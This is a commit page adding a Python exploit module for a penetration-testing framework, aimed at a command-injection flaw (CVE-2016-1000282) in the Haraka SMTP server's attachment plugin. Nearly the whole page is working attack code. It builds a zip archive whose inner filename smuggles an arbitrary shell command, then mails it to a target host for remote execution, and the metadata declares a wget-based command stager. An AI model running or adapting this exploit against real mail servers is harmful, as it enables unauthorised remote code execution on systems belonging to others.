Skip to content

Commit 6910cb0

Browse files
committed
Add first exploit written in Python
1 parent a3e196e commit 6910cb0

File tree

1 file changed

+114
-0
lines changed

1 file changed

+114
-0
lines changed

modules/exploits/linux/smtp/haraka.py

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
#!/usr/bin/env python2.7
2+
3+
# Vendor Homepage: https://haraka.github.io/
4+
# Software Link: https://github.com/haraka/Haraka
5+
# Exploit github: http://github.com/outflankbv/Exploits/
6+
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
7+
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
8+
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
9+
# Tested versions: 2.8.8 and 2.7.2
10+
# Thanks to: Dexlab.nl for asking me to look at Haraka.
11+
12+
import smtplib
13+
from email.mime.application import MIMEApplication
14+
from email.mime.multipart import MIMEMultipart
15+
from email.utils import COMMASPACE, formatdate
16+
from email.header import Header
17+
from email.utils import formataddr
18+
from email.mime.text import MIMEText
19+
from datetime import datetime
20+
import zipfile
21+
import StringIO
22+
import sys, os, json
23+
24+
metadata = {
25+
'name': 'Haraka SMTP Command Injection',
26+
'description': '''
27+
The Haraka SMTP server comes with a plugin for processing attachments.
28+
Versions before 2.8.9 can be vulnerable to command injection
29+
''',
30+
'authors': ['xychix <xychix[AT]hotmail.com>', 'smfreegard', 'Adam Cammack <adam_cammack[AT]rapid7.com>'],
31+
'date': '2017-01-26',
32+
'references': [
33+
{'type': 'cve', 'ref': '2016-1000282'},
34+
{'type': 'edb', 'ref': '41162'},
35+
{'type': 'url', 'ref': 'https://github.com/haraka/Haraka/pull/1606'},
36+
],
37+
'type': 'remote_exploit.cmd_stager.wget',
38+
'privileged': True,
39+
'targets': [
40+
{'platform': 'linux', 'arch': 'x64'},
41+
{'platform': 'linux', 'arch': 'x86'}
42+
],
43+
'options': {
44+
'email_to': {'type': 'string', 'description': 'Email to send to, must be accepted by the server', 'required': True, 'default': 'admin@localhost'},
45+
'email_from': {'type': 'string', 'description': 'Address to send from', 'required': True, 'default': '[email protected]'},
46+
'rhost': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
47+
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
48+
}}
49+
50+
def log(message, level='info'):
51+
print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': {
52+
'level': level,
53+
'message': message
54+
}}))
55+
sys.stdout.flush()
56+
57+
def send_mail(to, mailserver, cmd, mfrom, port):
58+
msg = MIMEMultipart()
59+
html = "harakiri"
60+
msg['Subject'] = "harakiri"
61+
msg['From'] = mfrom
62+
msg['To'] = to
63+
f = "harakiri.zip"
64+
msg.attach(MIMEText(html))
65+
log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug')
66+
part = MIMEApplication(create_zip(cmd),Name="harakiri.zip")
67+
part['Content-Disposition'] = 'attachment; filename="harakiri.zip"'
68+
msg.attach(part)
69+
log("Sending mail to target server...")
70+
log(msg.as_string(), 'debug')
71+
s = smtplib.SMTP(mailserver, port)
72+
try:
73+
resp = s.sendmail(mfrom, to, msg.as_string())
74+
except smtplib.SMTPDataError, err:
75+
if err[0] == 450:
76+
log("Triggered bug in target server (%s)"%err[1], 'good')
77+
return(True)
78+
log("Bug not triggered in target server", 'error')
79+
log("it may not be vulnerable or have the attachment plugin activated", 'error')
80+
s.close()
81+
return(False)
82+
83+
class InMemoryZip(object):
84+
def __init__(self):
85+
self.in_memory_zip = StringIO.StringIO()
86+
def append(self, filename_in_zip, file_contents):
87+
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
88+
zf.writestr(filename_in_zip, file_contents)
89+
for zfile in zf.filelist:
90+
zfile.create_system = 0
91+
return self
92+
def read(self):
93+
self.in_memory_zip.seek(0)
94+
return self.in_memory_zip.read()
95+
96+
def create_zip(cmd="touch /tmp/harakiri"):
97+
z1 = InMemoryZip()
98+
z2 = InMemoryZip()
99+
z2.append("harakiri.txt",
100+
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.")
101+
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
102+
return(z1.read())
103+
104+
if __name__ == '__main__':
105+
req = json.loads(os.read(0, 10000))
106+
if req['method'] == 'describe':
107+
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata}))
108+
elif req['method'] == 'run':
109+
args = req['params']
110+
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
111+
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': {
112+
'message': 'Exploit completed'
113+
}}))
114+
sys.stdout.flush()

0 commit comments

Comments
 (0)